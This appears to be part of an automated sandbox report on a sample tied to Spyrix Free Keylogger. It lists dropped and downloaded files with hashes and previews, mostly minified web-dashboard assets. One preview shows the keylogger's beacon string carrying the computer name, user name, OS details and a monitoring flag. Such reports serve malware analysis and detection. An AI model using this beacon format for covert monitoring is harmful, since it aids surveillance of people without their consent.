Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\nse

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	381
Entropy (8bit):	2.975722324800665
Encrypted:	false
SSDEEP:	3:qTV2RUHWyoHyXSEXKankNR4FFFF+bXoGjVQXgfMVCzQjVQX/F8hLBiXF8gXa2FF4:qUUHW7SMNR4FZwsGy2agqrw6TGCn
MD5:	2D44942B96294E70F47680CC7AC03B03
SHA1:	CF1DFF4B6ABF0F784978A5213D60A3E63662A5D8
SHA-256:	18A792A1934C7FC74F1FE661E8F8084F14295A42AB307CED256D52AE1FCD553E
SHA-512:	CBC45CFCC7B726A959E1D7340572C198EF68CF636081BD6C3F3AFF591175C45580D7165EB98D87156739BC925C3BDEAA4E20BDE3D65C51547837453C72B7871E
Malicious:	false
Reputation:	unknown
Preview:	Interface Statistics.... Received Sent....Bytes 1712717184 1988229392..Unicast packets 1653424 676800..Non-unicast packets 0 0..Discards 0 0..Errors 0 0..Unknown protocols 0..

C:\Users\user\AppData\Local\Temp\sfkname.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.334679141051595
Encrypted:	false
SSDEEP:	3:AFF0dA:2F0C
MD5:	1BC225BA0EC9CF58344A4D5386858F5D
SHA1:	9242D5584D8CE4395F7B487A958F641507B484C5
SHA-256:	C20B721B6D405B01A7B225372393BACF0833572FA455FC2DAC6320190F7BB352
SHA-512:	BBE0E20F32FCCF69770BB9C3422E5FB896D5477CB248CA449DA686921D4D31A5354574F5A775AE6185336C5EAC7C97AE5F74C54F85FC6EC3A464ED012F68643C
Malicious:	false
Reputation:	unknown
Preview:	[space]= .exe

C:\Users\user\AppData\Local\Temp\tpl556z6i5ctbzg

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (835), with CRLF line terminators
Category:	dropped
Size (bytes):	837
Entropy (8bit):	5.220155880558818
Encrypted:	false
SSDEEP:	24:uuLZxaFrVYdQUDzl6Otd8B9eJbafYOs8A:uEZeVYdQqy9eJOf3sj
MD5:	28128046D17F8F5F354FD98391BB7234
SHA1:	3F22514622EA5ED605C371BD9735D3990B5499C4
SHA-256:	DBD61E60F603DC7C83436C0C7352065499B3F127C7023DAEAFDA0A9CB05B675E
SHA-512:	059073527C43E4DFCA896950D57F0270A1B40D35AB054E13429E8DEC6F46A20AAA4224A32E8739C3D9387BE5A0426CF50AE29E9C53DD9346BF7EBA57C5B071C1
Malicious:	false
Reputation:	unknown
Preview:	&trial_id=-1&os_install_date=2023-10-03 09:57:18&os_country_code=44 &dnet=4.8.04084&os_caption=Microsoft Windows 10 Pro 10.0.19045 &prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&license=&av=Windows Defender&os_type=windows&prg_lng=english&comp_name=user-PC&user_name=user&action=prg_list&user=&comp_time=2024-10-02 00:11:52&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&token=48678a31eb72b26fcb852c7fe5ada455&data={"run": {"spm.exe": 0, "sem.exe": 0, "spkl.exe": 1, "clv.exe": 0, "akl.exe": 0, "spmm.exe": 1, "sps.exe": 0, "wlg.exe": 0}, "folder": ["ff.exe", "qrl.exe", "spkl.exe", "spmm.exe", "sps.exe", "unins000.exe", "lame_enc.dll", "libeay32.dll", "sqlite3.dll", "ssleay32.dll", "WebBrowser.dll", "cfg.cmd", "dashboard.cmd", "id.cmd", "plist.cmd", "plist.vbs"], "delivery": 0, "monitoring": 1, "version": 3}..

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 622

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 27077
Category:	downloaded
Size (bytes):	7285
Entropy (8bit):	7.964038684015041
Encrypted:	false
SSDEEP:	192:TvxMGwo9hFNrNNXizl2Bcj94aps9y5aW2CHkz92mDXnjrVo75OKc:7aboh57AL94ly592CmFXidJc
MD5:	F687E94F4D455BA119D2187B14A884AE
SHA1:	5206BDA3E1959F6A7369D33171F9AF76F92C21E2
SHA-256:	5D18275C9AC22E917CEA324C250F54D9F6A1899BAB0EFBDF3739A6AB181BE5A3
SHA-512:	1EA801D2E9BD5C4A3FAD19776270D971A159B28B52AF0369D208D6FFC0A5F81BF0CD8B8CA2379B1C75E366694DBE4B1ED1C7CBB78137F61829A8AC38B54D93CA
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-08b2a987.js
Preview:	............n.V...Sp..v.ka....!..$.;..%.......6...,.J....'....{I.".K.v:."......fM..Iq..\....S...O..k......../....}...\|......O]}.>.O.6u.a...GK..UE.3..usF..az.m...0.]...&o.[../..Y.L...i...0..U...0....M[.RwBy...8...Orq.>+..H..o:....o.f}t.>lRw...).O....J.3?o.f..jrfu.0mX.K:m....U_..zN.M.([f.#{PWeM.w.\,...V..^...m.q..6u..../O..w..Y...{x.~QVV..w}.}x5\|..q........v..a...J...H...I...~..o..5....._.......G.'.{.=k.F......>...\|..}..T....6....e..TX..K......,g[.S.r..l..\|."..O...-...G...i....`.XhN.....sIb..u...2k..K.i.WW....T.u.7,`.w..R.g.H.\Y.i.G....f.Z...mE...\.}...C>..ZgW.,..E....:gSR...N....,.8.).YV...nU..l;.M."18(...y...d..n.lV..[n.:............p.E[$..:..u.(.y..6.K.ErvR... Yy.....v..f.%..m%I.,....~..]z..W.l.$.E.Y3.L..@.J.:O.4....'S5..Kj....@W..,...N^..}.n....DLz..l....v...J3JJ..o.Q...^R8mY....&..[..<s..7a.Y.<c.r7.xV.N/.WE2...Vo$ci..Z..!../.b_.&.-N.en..7.\|s...#.<.3.\....?.nY..;OVy.gxa....6....zy.t.j..;..V.K.?....m..o...X6.CI

Chrome Cache Entry: 623

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1184)
Category:	downloaded
Size (bytes):	1185
Entropy (8bit):	5.12883411542056
Encrypted:	false
SSDEEP:	24:tXpVrWpEqCFsoYkSwdmdgkvIEfE77N/VJpYvfEvp/7N7Oev:H5sbHoYVAkgEfi7bSf0J7p
MD5:	5712F506A0802DFB152E99CC1021EEAF
SHA1:	34A3770659421BBCE2AC882C21B59D51A6DF9D02
SHA-256:	4CDBFB3A255C3D881C885043AD25EF68BDFD324746706DA6DB3C0D077C90348B
SHA-512:	74A4D892433E7A98298749F354B9462B3EF59725D338EC78167B4A299FF368292FA905FF5C229331A88506F695983C5A1FDA50BE323EDD768409C0BD6DA770D1
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js
Preview:	import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"default"},type:{default:"button"},loading:{type:Boolean},isInline:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},isCircle:{type:Boolean,default:!1},circleSize:{},hasShadow:{type:Boolean,default:!1},moreRounded:{type:Boolean,default:!1}},emits:["onClick"],setup(y,{emit:r}){const o=()=>{r("onClick")};return(e,c)=>e.isInline?(n(),i("span",{key:1,class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline}]),onClick:t(o,["prevent"])},[s(e.$slots,"default")],10,m)):(n(),i("button",{key:0,type:e.type,disabled:e.disabled,style:u({width:`${e.circleSize}px`,height:`${e.circleSize}px`}),class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline,[l(a)

Chrome Cache Entry: 624

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (3701)
Category:	dropped
Size (bytes):	3702
Entropy (8bit):	5.446443546204777
Encrypted:	false
SSDEEP:	48:rxNEM05e7EQWJ0uHyGenR6UPQGZysqPEmoMABn3PuugCimdAFXPXBfGJ19N5D:VNEM0e75W0R5QGSPEmJqfJggAFXP+rl
MD5:	93A5A2F50CE859E24BFF9D45674F6E7B
SHA1:	46410E20EFC5F332CA5787D071391DB80F06981A
SHA-256:	B4CA5BF04016A11DD1B6A5499CF1F01D704700EF13832C027D56797012D76632
SHA-512:	209041550C13F4E90A2DF87E4FAA9480D8F681A2844ADA211AD6DDF3A225CF55C86EB805A584FCB08A2453165AE6890447EA70A91E1E8FE0253E64D5EEC23FE7
Malicious:	false
Reputation:	unknown
Preview:	import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-ztRySNh",X="Ftt0CpWQ",A="_4aI8AqCH",R="WnNoxKKH",P="a6kY8aNX",Y="_-9LXnRIR",H="F8HcYjNr",T="StnNIJM1",V="EKAf0gVE",_="vzGZS5BU",q="YJawxt4q",D="J-FFIdf3",K="MPqoi-hk",L="-XPrybcb",U="W-vei4th",z="cXuVytYF",$="uck8wclE",J="_0LSdgwM5",O="_0a05eMPx",Z="_73fp8tGN",j="_9mUdv-E5",G="_5tXXmYiP",Q="_15qHZEB6",s={"input-wrapper":"-ztRySNh",inputWrapper:W,"input-wrapper-search":"Ftt0CpWQ",inputWrapperSearch:X,"input-wrapper-disabled":"_4aI8AqCH",inputWrapperDisabled:A,input:R,"input-selected":"a6kY8aNX",inputSelected:P,"input-selected-focused":"_-9LXnRIR",inputSelectedFocused:Y,"input-search":"F8HcYjNr",inputSearch:H,"input-no-bottom":"StnNIJM1",inputNoBottom:T,error:V,headShake:_,success:q,pulse:D,placeholder:K,"placeholder-success":"-XPrybcb",pl

Chrome Cache Entry: 625

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1184)
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	5.12883411542056
Encrypted:	false
SSDEEP:	24:tXpVrWpEqCFsoYkSwdmdgkvIEfE77N/VJpYvfEvp/7N7Oev:H5sbHoYVAkgEfi7bSf0J7p
MD5:	5712F506A0802DFB152E99CC1021EEAF
SHA1:	34A3770659421BBCE2AC882C21B59D51A6DF9D02
SHA-256:	4CDBFB3A255C3D881C885043AD25EF68BDFD324746706DA6DB3C0D077C90348B
SHA-512:	74A4D892433E7A98298749F354B9462B3EF59725D338EC78167B4A299FF368292FA905FF5C229331A88506F695983C5A1FDA50BE323EDD768409C0BD6DA770D1
Malicious:	false
Reputation:	unknown
Preview:	import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"default"},type:{default:"button"},loading:{type:Boolean},isInline:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},isCircle:{type:Boolean,default:!1},circleSize:{},hasShadow:{type:Boolean,default:!1},moreRounded:{type:Boolean,default:!1}},emits:["onClick"],setup(y,{emit:r}){const o=()=>{r("onClick")};return(e,c)=>e.isInline?(n(),i("span",{key:1,class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline}]),onClick:t(o,["prevent"])},[s(e.$slots,"default")],10,m)):(n(),i("button",{key:0,type:e.type,disabled:e.disabled,style:u({width:`${e.circleSize}px`,height:`${e.circleSize}px`}),class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline,[l(a)

Chrome Cache Entry: 626

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (522)
Category:	downloaded
Size (bytes):	523
Entropy (8bit):	5.04570304661497
Encrypted:	false
SSDEEP:	12:fjj6Xna2GHXmtooSfih/Se2FheecfhDlrWHy+:ff6Xa2GHUSf8/n2FheecfhxrWHy+
MD5:	4961C7FAF74F272F4B3832CB9B803374
SHA1:	D9E302928FC7CBB2A32B499A2928623478CC2F0B
SHA-256:	F807B11AFDDA15D257A20773E7D480CF9F8269C2ABBA6754356F3D6DC65D592B
SHA-512:	35584A4E7E3E3CEB248AD323CC7BD39ECE6CF9856F9F4210906BAA9FBB601C9DFBACC7C2621044BB225320F1D56653DFAAB48DE7CEACB33FD3FB0CADBECE8F50
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/loop-c45f0f1e.js
Preview:	import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.24v.677L17.722 19 19 17.722zm-5.145 0a3.854 3.854 0 0 1-3.86-3.86 3.854 3.854 0 0 1 3.86-3.859 3.854 3.854 0 0 1 3.859 3.86 3.854 3.854 0 0 1-3.86 3.859"},null,-1),a=[n];function c(r,l){return e(),o("svg",s,[...a])}const _={render:c};export{_ as default,c as render};.

Chrome Cache Entry: 627

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	129
Entropy (8bit):	4.715705921334956
Encrypted:	false
SSDEEP:	3:lH4Vg0CwERKAAIx/fQxAUEm5JZHJPpRKrUrKzAdgbDn:l30Cw4MYoxJfHhpAArKzAaX
MD5:	738B618755592A2FB11C090833DAA6FF
SHA1:	985ED99CF7A1BED24569735A33B757531D027AE3
SHA-256:	BA59C56764D29D3B0C21BFB12D2F7AE92E745420F214B3B3DC52D31712301E39
SHA-512:	5CADFC6D7594CFD29CCF8539F35FDFC6B5B39525235DD38F1CBE0A49D0FB67D417AFBA1C2B0ACCEBE7C6F06C5FC9951CC167BB37F25F05D9F8E3313E5C27D42C
Malicious:	false
Reputation:	unknown
Preview:	const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};.

Chrome Cache Entry: 628

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (612)
Category:	dropped
Size (bytes):	613
Entropy (8bit):	5.08267772798313
Encrypted:	false
SSDEEP:	12:tGYt6XJqt4oiYk5xURvnYgdMVB1K7xNFn40EffoCT/evn:tGYt6XYt4oiYkXURvn7MRwxjifZ7ev
MD5:	2DAF2E8244A82CE2D18896703255F110
SHA1:	256AFE217B8C4014D87643C68AE6D53FA7DF59F5
SHA-256:	7299EB78A78C169241ADE88D784BAE2EA7207E00CBC18A98C35DB237DD0EB144
SHA-512:	B7BFCC34C3639A5B6A68E9D190D83894686413FCFA1E3242809D3F4ED6697BB25B2547176ECD03044753945A0E769CF513D61C69F274DE6926DD7BFF5B0229AD
Malicious:	false
Reputation:	unknown
Preview:	import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase:{type:Boolean,default:!1},hoverLink:{type:Boolean,default:!1}},setup(n){const a=n,o=r(()=>[e.text,e[a.size],e[a.color],{[e.bold]:a.bold,[e.uppercase]:a.uppercase,[e.hoverLink]:a.hoverLink}]);return(s,i)=>s.oneRow?(t(),f(d,{key:1,class:l(o.value),text:s.text},null,8,["class","text"])):(t(),c("span",{key:0,class:l(o.value)},u(s.text),3))}});export{k as _};.

Chrome Cache Entry: 629

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	97
Entropy (8bit):	4.951184270366716
Encrypted:	false
SSDEEP:	3:8yXjE9+eAIJ6GeNJ1VyumOw0/OUn:8yW6Gej1VTOU
MD5:	3AA24E4B0CE2D0A271E1A193951B6655
SHA1:	9F940B9FFAB5F9BAC8AAF68C1B5648FEE1D51E6E
SHA-256:	FD9601A773EAEEA1B5B30EDA082FF58FD2CAFB341E6239069E87B8D5048DA2D8
SHA-512:	B654D3ABF5C5DEA0561B11058F22B9A052C8567E67ADCB73273B445D29ABAFC0DABD9D3D1E89816E551D2DD72EBC3C21571237D635AFCB6023FA6D3D1E2D76A9
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate-fd9601a7.css
Preview:	._6ptc-v1o{display:flex;justify-content:center;align-items:center;width:100%}.eTUt1vSM{gap:.4em}.

Chrome Cache Entry: 630

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2465)
Category:	downloaded
Size (bytes):	2466
Entropy (8bit):	5.426086826070174
Encrypted:	false
SSDEEP:	48:Je9Al3AZl1K2ltbPCPZQAtXAL7APmHmT84Rtj09LOv:Jl3AZXKYtrA+AtXAvAPsmwStjH
MD5:	97ED63B4A13DD52ED16E3FA72D9C8279
SHA1:	EAF9127A88CF66BE486FCA25238B286269B75B79
SHA-256:	CA236C001E8BB9D47FE833AF3F70E9A663E01BC967E5E89AE2F8EF82F5BE0929
SHA-512:	C2B728D090AAE952E8365374EA723772C801C07C6C6E8F232C3ABF335149B3E6B4A3E8A37172B92372004FA160BD2B5FCDF6C73185255E72B7222A7CC22C6668
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button-ca236c00.css
Preview:	.g1jDENuQ{display:flex;transition:.3s ease;border-radius:10px;-webkit-user-select:none;user-select:none;max-width:100%;text-align:center;cursor:pointer}.g1jDENuQ svg{transition:.3s ease}.kn3-jpa8{opacity:.8;cursor:progress!important}.pi1aSgqN{opacity:.4;cursor:not-allowed}.Yx2mIjN5{border:1px solid var(--primary);color:var(--primary)}.Yx2mIjN5 svg{fill:var(--primary)}.Yx2mIjN5:hover:not(.kn3-jpa8):not(.pi1aSgqN){background-color:var(--primary90);color:var(--app-text-inverse)}.Yx2mIjN5:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--app-text-inverse)}.GQTXnPVh{border:1px solid var(--card-border);color:var(--app-text);background-color:#fff}.GQTXnPVh svg{fill:var(--app-text)}.GQTXnPVh:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--app-text-secondary)}.Spt6Oo9A{border:1px solid var(--primary);color:var(--primary);background-color:#fff}.Spt6Oo9A svg{fill:var(--primary)}.Spt6Oo9A:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--primary80);border-color:var(--primary80)}.Spt6Oo9A:hove

Chrome Cache Entry: 631

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (773)
Category:	downloaded
Size (bytes):	774
Entropy (8bit):	4.740473361173796
Encrypted:	false
SSDEEP:	24:LXHnC5XfdkKVOHVOFkBgj4M4lH7858pE2k1SGdXyY7:jHCJfdlVOHVOFk44M4lHoOpSX9
MD5:	C7296BD66C57AFFFAF695D2BE2EB436C
SHA1:	D616816FE7D6DC660D731F17049741D0F5253573
SHA-256:	1F17097282D14F7642E97BEDB6F8CDB10DDFFA20029AAAB50A51D397CE8DF34A
SHA-512:	CEB26AA02C6476DF4EAF30C933F99C14EC93BF6A8A418B16762501611C94AD9179F36B81C3CE120368F101DE0630A4497A2566009350E8EC4F1DDF120C89C056
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-ef960fb7.js
Preview:	const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be used. Please try another one.":"This email cannot be used. Please try another one.","Account does not exists":"Account does not exists","Incorrect password":"Incorrect password","Success! Getting data...":"Success! Getting data...","Password Field cannot be empty":"Password Field cannot be empty","E-mail Field cannot be empty":"E-mail Field cannot be empty","Field cannot be empty":"Field cannot be empty","Create a password":"Create a password"};export{o as Email,s as Login,t as Password,e as Register,a as default};.

Chrome Cache Entry: 632

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 184 x 184, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3029
Entropy (8bit):	7.775466271259918
Encrypted:	false
SSDEEP:	48:trqMHw1fogNoolwWy7d/fB/yKv8EwIgr4/0aMsVYU39z9p39AWToe8JhKtbmrLNV:tGAYfTlYH/Bv8dZc/04VYA9n3eWb8Ho6
MD5:	175BFAD4569B48687A15D43A4E9BB617
SHA1:	E28A5AC7818D8ACEDA0D2DE2C20DD922923C3BA5
SHA-256:	F97E3C0058E3352D1F3789F40CB76DBF2C6C085AFA7535BD38F4970F884B2A45
SHA-512:	658CC310C2A8FDBB32D48487CC7373B7D559AE55CB566C3669724F71ED9D86108F63E7A42B191A2A70CBCA47960E2591F7353261DCF5F0556AEDF1AB9F2D1501
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............P3&.....gAMA......a.....pHYs..!7..!7.3X.z....tEXtSoftware.paint.net 4.1.6.N.....SIDATx^..q.F....C....C..NeI....@.@.`......C....n......nw.3..y_.W.jqw...1..w........uY(.e.7.......-.....2.e.<.V....GX....y...Z.pZ.2o.aQ+.Nk[..#,je.im.y.E..8.m.7.......-.....2.e.<.V....GX.........OtN....@.y...Z].O.yG...e....-.y.E..8....0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.x0...O.........?=......+..40..H..sZ..6.........0.A..9..p..\|..\R.~.o...<.i]...U..d.....@nM..;...0..H;....NC.0.x..;...-.....v..P-.....2....C.0.x.R..B...[..<.2.K..6hlW-.....A;...E.....e...-..3[..<0.....W9+..a.'!m.....:[..O.L-..>13.0.8Y...0...".0.8y..-..NT...0...H-..N...0...zma.6..?..GX...Ao-..2o.aQ+.>...07-.....2...a..-.....2.1.}.k.S..#,je.cqmaz...y.E..x\.~.).....z..\|..........y...Z.._..!y.."oG.9g.0e.<..=...,W..].'.Z.2o.aQ........E....GX.Z#.WedH.....-L.7....f.7.....Z.2o.aQk..S..la.bO.S..

Chrome Cache Entry: 633

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (3701)
Category:	downloaded
Size (bytes):	3702
Entropy (8bit):	5.446443546204777
Encrypted:	false
SSDEEP:	48:rxNEM05e7EQWJ0uHyGenR6UPQGZysqPEmoMABn3PuugCimdAFXPXBfGJ19N5D:VNEM0e75W0R5QGSPEmJqfJggAFXP+rl
MD5:	93A5A2F50CE859E24BFF9D45674F6E7B
SHA1:	46410E20EFC5F332CA5787D071391DB80F06981A
SHA-256:	B4CA5BF04016A11DD1B6A5499CF1F01D704700EF13832C027D56797012D76632
SHA-512:	209041550C13F4E90A2DF87E4FAA9480D8F681A2844ADA211AD6DDF3A225CF55C86EB805A584FCB08A2453165AE6890447EA70A91E1E8FE0253E64D5EEC23FE7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js
Preview:	import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-ztRySNh",X="Ftt0CpWQ",A="_4aI8AqCH",R="WnNoxKKH",P="a6kY8aNX",Y="_-9LXnRIR",H="F8HcYjNr",T="StnNIJM1",V="EKAf0gVE",_="vzGZS5BU",q="YJawxt4q",D="J-FFIdf3",K="MPqoi-hk",L="-XPrybcb",U="W-vei4th",z="cXuVytYF",$="uck8wclE",J="_0LSdgwM5",O="_0a05eMPx",Z="_73fp8tGN",j="_9mUdv-E5",G="_5tXXmYiP",Q="_15qHZEB6",s={"input-wrapper":"-ztRySNh",inputWrapper:W,"input-wrapper-search":"Ftt0CpWQ",inputWrapperSearch:X,"input-wrapper-disabled":"_4aI8AqCH",inputWrapperDisabled:A,input:R,"input-selected":"a6kY8aNX",inputSelected:P,"input-selected-focused":"_-9LXnRIR",inputSelectedFocused:Y,"input-search":"F8HcYjNr",inputSearch:H,"input-no-bottom":"StnNIJM1",inputNoBottom:T,error:V,headShake:_,success:q,pulse:D,placeholder:K,"placeholder-success":"-XPrybcb",pl

Chrome Cache Entry: 634

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (628)
Category:	dropped
Size (bytes):	629
Entropy (8bit):	5.408519312247252
Encrypted:	false
SSDEEP:	12:M5WsR75UQOHXu8jeAYJMngYRde4HL1DBVTUojE0uymy:M5/p99JMngYZHZDBbfuymy
MD5:	7CB321EE79F0127E78FAD017F97285AA
SHA1:	5921A3AFA7B59C1A69F214A592F5290A9AA5A080
SHA-256:	2BF0E6089F8E9819E3CAA315D3C024148EE6D53411450118363668A0B9F2F6D5
SHA-512:	E1994D07BDF15F40ACB2E1F35A3738BF24A909C6FEF2D0513D2FBBD0A0DC9A434C96AE9699C8497E0EECBD1229CC066B11A5B6413F8DF608B222FE07A61D6BC9
Malicious:	false
Reputation:	unknown
Preview:	const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",D={button:e,loading:o,disabled:d,"bordered-primary":"Yx2mIjN5",borderedPrimary:r,"bordered-filled":"GQTXnPVh",borderedFilled:n,"primary-filled":"Spt6Oo9A",primaryFilled:s,"bordered-secondary":"RmDlDtP1",borderedSecondary:c,default:"JCiXG-DG",success:t,clear:l,xs:i,sm:a,tn:m,md:b,lg:y,xl:p,inline:h,circle:u,shadow:x,"more-rounded":"eIH6eshW",moreRounded:P};export{D as c};.

Chrome Cache Entry: 635

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (612)
Category:	downloaded
Size (bytes):	613
Entropy (8bit):	5.08267772798313
Encrypted:	false
SSDEEP:	12:tGYt6XJqt4oiYk5xURvnYgdMVB1K7xNFn40EffoCT/evn:tGYt6XYt4oiYkXURvn7MRwxjifZ7ev
MD5:	2DAF2E8244A82CE2D18896703255F110
SHA1:	256AFE217B8C4014D87643C68AE6D53FA7DF59F5
SHA-256:	7299EB78A78C169241ADE88D784BAE2EA7207E00CBC18A98C35DB237DD0EB144
SHA-512:	B7BFCC34C3639A5B6A68E9D190D83894686413FCFA1E3242809D3F4ED6697BB25B2547176ECD03044753945A0E769CF513D61C69F274DE6926DD7BFF5B0229AD
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js
